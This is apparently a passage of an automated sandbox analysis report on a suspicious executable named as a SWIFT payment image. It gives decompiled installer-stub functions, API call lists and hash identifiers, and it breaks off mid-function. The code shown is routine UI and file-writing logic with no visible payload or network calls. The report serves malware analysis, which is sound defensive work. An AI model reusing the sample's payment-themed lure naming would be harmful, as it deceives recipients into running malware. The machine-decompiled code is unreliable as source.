                                                                                    • *?|<>/":, xrefs: 0040654B
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: Char$Next$Prev
                                                                                    • String ID: "C:\Users\user\Desktop\SWIFT 00395_IMG.exe" $*?|<>/":$C:\Users\user\AppData\Local\Temp\
                                                                                    • API String ID: 589700163-1911696658
                                                                                    • Opcode ID: 6624216dd93989c3e415f19addad0263e6dff954d131d517deda7fd7c47402c7
                                                                                    • Instruction ID: ed4a40943fe5e2665a2a55f9ea129fd4e03433fedea2fb13391fe05f183277a3
                                                                                    • Opcode Fuzzy Hash: 6624216dd93989c3e415f19addad0263e6dff954d131d517deda7fd7c47402c7
                                                                                    • Instruction Fuzzy Hash: 5511E26180479139EB3216386C44B77BFD84B577A0F19007FE9C2722CAD67C5C62826D
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00404313(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
                                                                                    				struct tagLOGBRUSH _v16;
                                                                                    				long _t39;
                                                                                    				long _t41;
                                                                                    				void* _t44;
                                                                                    				signed char _t50;
                                                                                    				long* _t54;
                                                                                    
                                                                                    				if(_a4 + 0xfffffecd > 5) {
                                                                                    					L18:
                                                                                    					return 0;
                                                                                    				}
                                                                                    				_t54 = GetWindowLongA(_a12, 0xffffffeb);
                                                                                    				if(_t54 == 0 || _t54[2] > 1 || _t54[4] > 2) {
                                                                                    					goto L18;
                                                                                    				} else {
                                                                                    					_t50 = _t54[5];
                                                                                    					if((_t50 & 0xffffffe0) != 0) {
                                                                                    						goto L18;
                                                                                    					}
                                                                                    					_t39 =  *_t54;
                                                                                    					if((_t50 & 0x00000002) != 0) {
                                                                                    						_t39 = GetSysColor(_t39);
                                                                                    					}
                                                                                    					if((_t54[5] & 0x00000001) != 0) {
                                                                                    						SetTextColor(_a8, _t39);
                                                                                    					}
                                                                                    					SetBkMode(_a8, _t54[4]);
                                                                                    					_t41 = _t54[1];
                                                                                    					_v16.lbColor = _t41;
                                                                                    					if((_t54[5] & 0x00000008) != 0) {
                                                                                    						_t41 = GetSysColor(_t41);
                                                                                    						_v16.lbColor = _t41;
                                                                                    					}
                                                                                    					if((_t54[5] & 0x00000004) != 0) {
                                                                                    						SetBkColor(_a8, _t41);
                                                                                    					}
                                                                                    					if((_t54[5] & 0x00000010) != 0) {
                                                                                    						_v16.lbStyle = _t54[2];
                                                                                    						_t44 = _t54[3];
                                                                                    						if(_t44 != 0) {
                                                                                    							DeleteObject(_t44);
                                                                                    						}
                                                                                    						_t54[3] = CreateBrushIndirect( &_v16);
                                                                                    					}
                                                                                    					return _t54[3];
                                                                                    				}
                                                                                    			}









                                                                                    0x00404325
                                                                                    0x004043db
                                                                                    0x00000000
                                                                                    0x004043db
                                                                                    0x00404336
                                                                                    0x0040433a
                                                                                    0x00000000
                                                                                    0x00404354
                                                                                    0x00404354
                                                                                    0x0040435d
                                                                                    0x00000000
                                                                                    0x00000000
                                                                                    0x0040435f
                                                                                    0x0040436b
                                                                                    0x0040436e
                                                                                    0x0040436e
                                                                                    0x00404374
                                                                                    0x0040437a
                                                                                    0x0040437a
                                                                                    0x00404386
                                                                                    0x0040438c
                                                                                    0x00404393
                                                                                    0x00404396
                                                                                    0x00404399
                                                                                    0x0040439b
                                                                                    0x0040439b
                                                                                    0x004043a3
                                                                                    0x004043a9
                                                                                    0x004043a9
                                                                                    0x004043b3
                                                                                    0x004043b8
                                                                                    0x004043bb
                                                                                    0x004043c0
                                                                                    0x004043c3
                                                                                    0x004043c3
                                                                                    0x004043d3
                                                                                    0x004043d3
                                                                                    0x00000000
                                                                                    0x004043d6

                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
                                                                                    • String ID:
                                                                                    • API String ID: 2320649405-0
                                                                                    • Opcode ID: dc1d3e55db8ec23378b3830e5d111dcc895b5f12cd74b581ce4b7be4d8059b2f
                                                                                    • Instruction ID: 4ebf73092ad7484045a31fabae3cd442355fcbc25dfc518f848a7595e5b54366
                                                                                    • Opcode Fuzzy Hash: dc1d3e55db8ec23378b3830e5d111dcc895b5f12cd74b581ce4b7be4d8059b2f
                                                                                    • Instruction Fuzzy Hash: 592165716007049BCB309F68E948B5BBBF8AF41710B05892EED96E26E0D774E814CB54
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E0040534F(CHAR* _a4, CHAR* _a8) {
                                                                                    				struct HWND__* _v8;
                                                                                    				signed int _v12;
                                                                                    				CHAR* _v32;
                                                                                    				long _v44;
                                                                                    				int _v48;
                                                                                    				void* _v52;
                                                                                    				void* __ebx;
                                                                                    				void* __edi;
                                                                                    				void* __esi;
                                                                                    				CHAR* _t26;
                                                                                    				signed int _t27;
                                                                                    				CHAR* _t28;
                                                                                    				long _t29;
                                                                                    				signed int _t39;
                                                                                    
                                                                                    				_t26 =  *0x423f24; // 0x0
                                                                                    				_v8 = _t26;
                                                                                    				if(_t26 != 0) {
                                                                                    					_t27 =  *0x424814;
                                                                                    					_v12 = _t27;
                                                                                    					_t39 = _t27 & 0x00000001;
                                                                                    					if(_t39 == 0) {
                                                                                    						E004062BB(0, _t39, 0x420530, 0x420530, _a4);
                                                                                    					}
                                                                                    					_t26 = lstrlenA(0x420530);
                                                                                    					_a4 = _t26;
                                                                                    					if(_a8 == 0) {
                                                                                    						L6:
                                                                                    						if((_v12 & 0x00000004) == 0) {
                                                                                    							_t26 = SetWindowTextA( *0x423f08, 0x420530);
                                                                                    						}
                                                                                    						if((_v12 & 0x00000002) == 0) {
                                                                                    							_v32 = 0x420530;
                                                                                    							_v52 = 1;
                                                                                    							_t29 = SendMessageA(_v8, 0x1004, 0, 0);
                                                                                    							_v44 = 0;
                                                                                    							_v48 = _t29 - _t39;
                                                                                    							SendMessageA(_v8, 0x1007 - _t39, 0,  &_v52);
                                                                                    							_t26 = SendMessageA(_v8, 0x1013, _v48, 0);
                                                                                    						}
                                                                                    						if(_t39 != 0) {
                                                                                    							_t28 = _a4;
                                                                                    							 *((char*)(_t28 + 0x420530)) = 0;
                                                                                    							return _t28;
                                                                                    						}
                                                                                    					} else {
                                                                                    						_t26 =  &(_a4[lstrlenA(_a8)]);
                                                                                    						if(_t26 < 0x800) {
                                                                                    							_t26 = lstrcatA(0x420530, _a8);
                                                                                    							goto L6;
                                                                                    						}
                                                                                    					}
                                                                                    				}
                                                                                    				return _t26;
                                                                                    			}

















                                                                                    0x00405355
                                                                                    0x00405361
                                                                                    0x00405364
                                                                                    0x0040536a
                                                                                    0x00405376
                                                                                    0x00405379
                                                                                    0x0040537c
                                                                                    0x00405382
                                                                                    0x00405382
                                                                                    0x00405388
                                                                                    0x00405390
                                                                                    0x00405393
                                                                                    0x004053b0
                                                                                    0x004053b4
                                                                                    0x004053bd
                                                                                    0x004053bd
                                                                                    0x004053c7
                                                                                    0x004053d0
                                                                                    0x004053dc
                                                                                    0x004053e3
                                                                                    0x004053e7
                                                                                    0x004053ea
                                                                                    0x004053fd
                                                                                    0x0040540b
                                                                                    0x0040540b
                                                                                    0x0040540f
                                                                                    0x00405411
                                                                                    0x00405414
                                                                                    0x00000000
                                                                                    0x00405414
                                                                                    0x00405395
                                                                                    0x0040539d
                                                                                    0x004053a5
                                                                                    0x004053ab
                                                                                    0x00000000
                                                                                    0x004053ab
                                                                                    0x004053a5
                                                                                    0x00405393
                                                                                    0x0040541e

                                                                                    APIs
                                                                                    • lstrlenA.KERNEL32(00420530,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EC9,00000000,?), ref: 00405388
                                                                                    • lstrlenA.KERNEL32(00402EC9,00420530,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EC9,00000000), ref: 00405398
                                                                                    • lstrcatA.KERNEL32(00420530,00402EC9,00402EC9,00420530,00000000,00000000,00000000), ref: 004053AB
                                                                                    • SetWindowTextA.USER32(00420530,00420530), ref: 004053BD
                                                                                    • SendMessageA.USER32 ref: 004053E3
                                                                                    • SendMessageA.USER32 ref: 004053FD
                                                                                    • SendMessageA.USER32 ref: 0040540B
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: MessageSend$lstrlen$TextWindowlstrcat
                                                                                    • String ID:
                                                                                    • API String ID: 2531174081-0
                                                                                    • Opcode ID: 1758c99315444ffa8de3e4a805647494e46ff97573bb8ff712cd1a67f4e860c0
                                                                                    • Instruction ID: d7aab4fbb83e072b647ad5d9ecd44a72e262910ab30c50883f082c619406a612
                                                                                    • Opcode Fuzzy Hash: 1758c99315444ffa8de3e4a805647494e46ff97573bb8ff712cd1a67f4e860c0
                                                                                    • Instruction Fuzzy Hash: 54218171900118BBDB11AF95DD84ADEBFB9EF04354F14807AF944B6291C7788E918F98
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00402E52(intOrPtr _a4) {
                                                                                    				char _v68;
                                                                                    				long _t6;
                                                                                    				struct HWND__* _t7;
                                                                                    				struct HWND__* _t15;
                                                                                    
                                                                                    				if(_a4 != 0) {
                                                                                    					_t15 =  *0x41f904;
                                                                                    					if(_t15 != 0) {
                                                                                    						_t15 = DestroyWindow(_t15);
                                                                                    					}
                                                                                    					 *0x41f904 = 0;
                                                                                    					return _t15;
                                                                                    				}
                                                                                    				if( *0x41f904 != 0) {
                                                                                    					return E0040666D(0);
                                                                                    				}
                                                                                    				_t6 = GetTickCount();
                                                                                    				if(_t6 >  *0x424750) {
                                                                                    					if( *0x424748 == 0) {
                                                                                    						_t7 = CreateDialogParamA( *0x424740, 0x6f, 0, E00402DBA, 0);
                                                                                    						 *0x41f904 = _t7;
                                                                                    						return ShowWindow(_t7, 5);
                                                                                    					}
                                                                                    					if(( *0x424814 & 0x00000001) != 0) {
                                                                                    						wsprintfA( &_v68, "... %d%%", E00402E36());
                                                                                    						return E0040534F(0,  &_v68);
                                                                                    					}
                                                                                    				}
                                                                                    				return _t6;
                                                                                    			}







                                                                                    0x00402e5e
                                                                                    0x00402e60
                                                                                    0x00402e67
                                                                                    0x00402e6a
                                                                                    0x00402e6a
                                                                                    0x00402e70
                                                                                    0x00000000
                                                                                    0x00402e70
                                                                                    0x00402e7e
                                                                                    0x00000000
                                                                                    0x00402e81
                                                                                    0x00402e88
                                                                                    0x00402e94
                                                                                    0x00402e9c
                                                                                    0x00402eda
                                                                                    0x00402ee3
                                                                                    0x00000000
                                                                                    0x00402ee8
                                                                                    0x00402ea5
                                                                                    0x00402eb6
                                                                                    0x00000000
                                                                                    0x00402ec4
                                                                                    0x00402ea5
                                                                                    0x00402ef0

                                                                                    APIs
                                                                                    • DestroyWindow.USER32(?,00000000), ref: 00402E6A
                                                                                    • GetTickCount.KERNEL32 ref: 00402E88
                                                                                    • wsprintfA.USER32 ref: 00402EB6
                                                                                      • Part of subcall function 0040534F: lstrlenA.KERNEL32(00420530,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EC9,00000000,?), ref: 00405388
                                                                                      • Part of subcall function 0040534F: lstrlenA.KERNEL32(00402EC9,00420530,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EC9,00000000), ref: 00405398
                                                                                      • Part of subcall function 0040534F: lstrcatA.KERNEL32(00420530,00402EC9,00402EC9,00420530,00000000,00000000,00000000), ref: 004053AB
                                                                                      • Part of subcall function 0040534F: SetWindowTextA.USER32(00420530,00420530), ref: 004053BD
                                                                                      • Part of subcall function 0040534F: SendMessageA.USER32 ref: 004053E3
                                                                                      • Part of subcall function 0040534F: SendMessageA.USER32 ref: 004053FD
                                                                                      • Part of subcall function 0040534F: SendMessageA.USER32 ref: 0040540B
                                                                                    • CreateDialogParamA.USER32(0000006F,00000000,00402DBA,00000000), ref: 00402EDA
                                                                                    • ShowWindow.USER32(00000000,00000005), ref: 00402EE8
                                                                                      • Part of subcall function 00402E36: MulDiv.KERNEL32(?,00000064,?), ref: 00402E4B
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
                                                                                    • String ID: ... %d%%
                                                                                    • API String ID: 722711167-2449383134
                                                                                    • Opcode ID: bb3bd4b2b9508e1df3cc882d5ccfee83ca66d66d4289bc98e9bfc3421e5f8959
                                                                                    • Instruction ID: 7a453c914e71352c87dd6fc4fa143b29ed4b83a6d55c3b122a6f25389f326a81
                                                                                    • Opcode Fuzzy Hash: bb3bd4b2b9508e1df3cc882d5ccfee83ca66d66d4289bc98e9bfc3421e5f8959
                                                                                    • Instruction Fuzzy Hash: 22018470582214E7CB61AB64EF0DAAF766CEB41745B14403BF801F21E0C7B95846CAEE
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00404BFF(struct HWND__* _a4, intOrPtr _a8) {
                                                                                    				long _v8;
                                                                                    				signed char _v12;
                                                                                    				unsigned int _v16;
                                                                                    				void* _v20;
                                                                                    				intOrPtr _v24;
                                                                                    				long _v56;
                                                                                    				void* _v60;
                                                                                    				long _t15;
                                                                                    				unsigned int _t19;
                                                                                    				signed int _t25;
                                                                                    				struct HWND__* _t28;
                                                                                    
                                                                                    				_t28 = _a4;
                                                                                    				_t15 = SendMessageA(_t28, 0x110a, 9, 0);
                                                                                    				if(_a8 == 0) {
                                                                                    					L4:
                                                                                    					_v56 = _t15;
                                                                                    					_v60 = 4;
                                                                                    					SendMessageA(_t28, 0x110c, 0,  &_v60);
                                                                                    					return _v24;
                                                                                    				}
                                                                                    				_t19 = GetMessagePos();
                                                                                    				_v16 = _t19 >> 0x10;
                                                                                    				_v20 = _t19;
                                                                                    				ScreenToClient(_t28,  &_v20);
                                                                                    				_t25 = SendMessageA(_t28, 0x1111, 0,  &_v20);
                                                                                    				if((_v12 & 0x00000066) != 0) {
                                                                                    					_t15 = _v8;
                                                                                    					goto L4;
                                                                                    				}
                                                                                    				return _t25 | 0xffffffff;
                                                                                    			}














                                                                                    0x00404c0d
                                                                                    0x00404c1a
                                                                                    0x00404c20
                                                                                    0x00404c5e
                                                                                    0x00404c5e
                                                                                    0x00404c6d
                                                                                    0x00404c74
                                                                                    0x00000000
                                                                                    0x00404c76
                                                                                    0x00404c22
                                                                                    0x00404c31
                                                                                    0x00404c39
                                                                                    0x00404c3c
                                                                                    0x00404c4e
                                                                                    0x00404c54
                                                                                    0x00404c5b
                                                                                    0x00000000
                                                                                    0x00404c5b
                                                                                    0x00000000

                                                                                    APIs
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: Message$Send$ClientScreen
                                                                                    • String ID: f
                                                                                    • API String ID: 41195575-1993550816
                                                                                    • Opcode ID: fae6ee4ef260730fd0e6baeb46c05ac4d0d99299cd6b7910a3b5b88b2e21feb9
                                                                                    • Instruction ID: 8affecd5b479f1171f5654815cc51d63bffccf6ae5a63c5c4c29235a80b14989
                                                                                    • Opcode Fuzzy Hash: fae6ee4ef260730fd0e6baeb46c05ac4d0d99299cd6b7910a3b5b88b2e21feb9
                                                                                    • Instruction Fuzzy Hash: 34015E71900219BBEB00DBA4DD85FFFBBBCAF55711F10012BBA50B61D0D7B4A9418BA4
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 100%
                                                                                    			E00402DBA(struct HWND__* _a4, intOrPtr _a8) {
                                                                                    				char _v68;
                                                                                    				void* _t11;
                                                                                    				CHAR* _t19;
                                                                                    
                                                                                    				if(_a8 == 0x110) {
                                                                                    					SetTimer(_a4, 1, 0xfa, 0);
                                                                                    					_a8 = 0x113;
                                                                                    				}
                                                                                    				if(_a8 == 0x113) {
                                                                                    					_t11 = E00402E36();
                                                                                    					_t19 = "unpacking data: %d%%";
                                                                                    					if( *0x424754 == 0) {
                                                                                    						_t19 = "verifying installer: %d%%";
                                                                                    					}
                                                                                    					wsprintfA( &_v68, _t19, _t11);
                                                                                    					SetWindowTextA(_a4,  &_v68);
                                                                                    					SetDlgItemTextA(_a4, 0x406,  &_v68);
                                                                                    				}
                                                                                    				return 0;
                                                                                    			}






                                                                                    0x00402dc7
                                                                                    0x00402dd5
                                                                                    0x00402ddb
                                                                                    0x00402ddb
                                                                                    0x00402de9
                                                                                    0x00402deb
                                                                                    0x00402df7
                                                                                    0x00402dfc
                                                                                    0x00402dfe
                                                                                    0x00402dfe
                                                                                    0x00402e09
                                                                                    0x00402e19
                                                                                    0x00402e2b
                                                                                    0x00402e2b
                                                                                    0x00402e33

                                                                                    APIs
                                                                                    • SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402DD5
                                                                                    • wsprintfA.USER32 ref: 00402E09
                                                                                    • SetWindowTextA.USER32(?,?), ref: 00402E19
                                                                                    • SetDlgItemTextA.USER32 ref: 00402E2B
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: Text$ItemTimerWindowwsprintf
                                                                                    • String ID: unpacking data: %d%%$verifying installer: %d%%
                                                                                    • API String ID: 1451636040-1158693248
                                                                                    • Opcode ID: 682236bfa9d44e469b32297ddf894a90f4f99da74b05dcaaf7480c0445501217
                                                                                    • Instruction ID: 5924424b8475f9adf48b5715c1e1f77af8692632bd00ddb5f136e7bd4fbbb8aa
                                                                                    • Opcode Fuzzy Hash: 682236bfa9d44e469b32297ddf894a90f4f99da74b05dcaaf7480c0445501217
                                                                                    • Instruction Fuzzy Hash: 36F01D7154020DFBEF20AF60DE0ABAE3769EB54345F00803AFA16B51D0DBB899558B99
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 93%
                                                                                    			E004027DF(void* __ebx, void* __eflags) {
                                                                                    				void* _t26;
                                                                                    				long _t31;
                                                                                    				void* _t45;
                                                                                    				void* _t49;
                                                                                    				void* _t51;
                                                                                    				void* _t54;
                                                                                    				void* _t55;
                                                                                    				void* _t56;
                                                                                    
                                                                                    				_t45 = __ebx;
                                                                                    				 *((intOrPtr*)(_t56 - 0xc)) = 0xfffffd66;
                                                                                    				_t50 = E00402BCE(0xfffffff0);
                                                                                    				 *(_t56 - 0x78) = _t23;
                                                                                    				if(E00405C2D(_t50) == 0) {
                                                                                    					E00402BCE(0xffffffed);
                                                                                    				}
                                                                                    				E00405D9C(_t50);
                                                                                    				_t26 = E00405DC1(_t50, 0x40000000, 2);
                                                                                    				 *(_t56 + 8) = _t26;
                                                                                    				if(_t26 != 0xffffffff) {
                                                                                    					_t31 =  *0x424758;
                                                                                    					 *(_t56 - 0x30) = _t31;
                                                                                    					_t49 = GlobalAlloc(0x40, _t31);
                                                                                    					if(_t49 != _t45) {
                                                                                    						E00403419(_t45);
                                                                                    						E00403403(_t49,  *(_t56 - 0x30));
                                                                                    						_t54 = GlobalAlloc(0x40,  *(_t56 - 0x20));
                                                                                    						 *(_t56 - 0x38) = _t54;
                                                                                    						if(_t54 != _t45) {
                                                                                    							E00403192(_t47,  *((intOrPtr*)(_t56 - 0x24)), _t45, _t54,  *(_t56 - 0x20));
                                                                                    							while( *_t54 != _t45) {
                                                                                    								_t47 =  *_t54;
                                                                                    								_t55 = _t54 + 8;
                                                                                    								 *(_t56 - 0x8c) =  *_t54;
                                                                                    								E00405D7C( *((intOrPtr*)(_t54 + 4)) + _t49, _t55, _t47);
                                                                                    								_t54 = _t55 +  *(_t56 - 0x8c);
                                                                                    							}
                                                                                    							GlobalFree( *(_t56 - 0x38));
                                                                                    						}
                                                                                    						E00405E68( *(_t56 + 8), _t49,  *(_t56 - 0x30));
                                                                                    						GlobalFree(_t49);
                                                                                    						 *((intOrPtr*)(_t56 - 0xc)) = E00403192(_t47, 0xffffffff,  *(_t56 + 8), _t45, _t45);
                                                                                    					}
                                                                                    					CloseHandle( *(_t56 + 8));
                                                                                    				}
                                                                                    				_t51 = 0xfffffff3;
                                                                                    				if( *((intOrPtr*)(_t56 - 0xc)) < _t45) {
                                                                                    					_t51 = 0xffffffef;
                                                                                    					DeleteFileA( *(_t56 - 0x78));
                                                                                    					 *((intOrPtr*)(_t56 - 4)) = 1;
                                                                                    				}
                                                                                    				_push(_t51);
                                                                                    				E00401423();
                                                                                    				 *0x4247e8 =  *0x4247e8 +  *((intOrPtr*)(_t56 - 4));
                                                                                    				return 0;
                                                                                    			}











                                                                                    0x004027df
                                                                                    0x004027e1
                                                                                    0x004027ed
                                                                                    0x004027f0
                                                                                    0x004027fa
                                                                                    0x004027fe
                                                                                    0x004027fe
                                                                                    0x00402804
                                                                                    0x00402811
                                                                                    0x00402819
                                                                                    0x0040281c
                                                                                    0x00402822
                                                                                    0x00402830
                                                                                    0x00402835
                                                                                    0x00402839
                                                                                    0x0040283c
                                                                                    0x00402845
                                                                                    0x00402851
                                                                                    0x00402855
                                                                                    0x00402858
                                                                                    0x00402862
                                                                                    0x00402887
                                                                                    0x00402869
                                                                                    0x0040286e
                                                                                    0x00402876
                                                                                    0x0040287c
                                                                                    0x00402881
                                                                                    0x00402881
                                                                                    0x0040288e
                                                                                    0x0040288e
                                                                                    0x0040289b
                                                                                    0x004028a1
                                                                                    0x004028b3
                                                                                    0x004028b3
                                                                                    0x004028b9
                                                                                    0x004028b9
                                                                                    0x004028c4
                                                                                    0x004028c5
                                                                                    0x004028c9
                                                                                    0x004028cd
                                                                                    0x004028d3
                                                                                    0x004028d3
                                                                                    0x004028da
                                                                                    0x004022dd
                                                                                    0x00402a5d
                                                                                    0x00402a69

                                                                                    APIs
                                                                                    • GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 00402833
                                                                                    • GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,000000F0), ref: 0040284F
                                                                                    • GlobalFree.KERNEL32 ref: 0040288E
                                                                                    • GlobalFree.KERNEL32 ref: 004028A1
                                                                                    • CloseHandle.KERNEL32(?,?,?,?,000000F0), ref: 004028B9
                                                                                    • DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,000000F0), ref: 004028CD
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000000.00000002.664505140.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                    • Associated: 00000000.00000002.664489699.0000000000400000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664514459.0000000000408000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664527824.000000000040A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664542475.0000000000413000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664554985.0000000000422000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664562978.000000000042A000.00000004.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664571482.000000000042D000.00000002.00020000.sdmp Download File
                                                                                    • Associated: 00000000.00000002.664584950.000000000043D000.00000002.00020000.sdmp Download File
                                                                                    Similarity
                                                                                    • API ID: Global$AllocFree$CloseDeleteFileHandle
                                                                                    • String ID:
                                                                                    • API String ID: 2667972263-0
                                                                                    • Opcode ID: 9472795047facdfc58deb84b31b226fbb417f33134a7d8d5be020c0554978550
                                                                                    • Instruction ID: d0efecf462ec4b8749248d5ce184abccdfd1d8ac98bc27b14fb78a8abc9ee6f4
                                                                                    • Opcode Fuzzy Hash: 9472795047facdfc58deb84b31b226fbb417f33134a7d8d5be020c0554978550
                                                                                    • Instruction Fuzzy Hash: A5217C72800128BBDB216FA5CE48D9E7E79EF09364F10823EF461762E1C67949418BA8
                                                                                    Uniqueness

                                                                                    Uniqueness Score: -1.00%

                                                                                    C-Code - Quality: 77%
                                                                                    			E00404AF5(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
                                                                                    				char _v36;
                                                                                    				char _v68;
                                                                                    				void* __ebx;
                                                                                    				void* __edi;
                                                                                    				void* __esi;
                                                                                    				signed int _t21;
                                                                                    				signed int _t22;
                                                                                    				void* _t29;
                                                                                    				void* _t31;
                                                                                    				void* _t32;
                                                                                    				void* _t41;
                                                                                    				signed int _t43;
                                                                                    				signed int _t47;
                                                                                    				signed int _t50;
                                                                                    				signed int _t51;
                                                                                    				signed int _t53;
                                                                                    
                                                                                    				_t21 = _a16;
                                                                                    				_t51 = _a12;
                                                                                    				_t41 = 0xffffffdc;
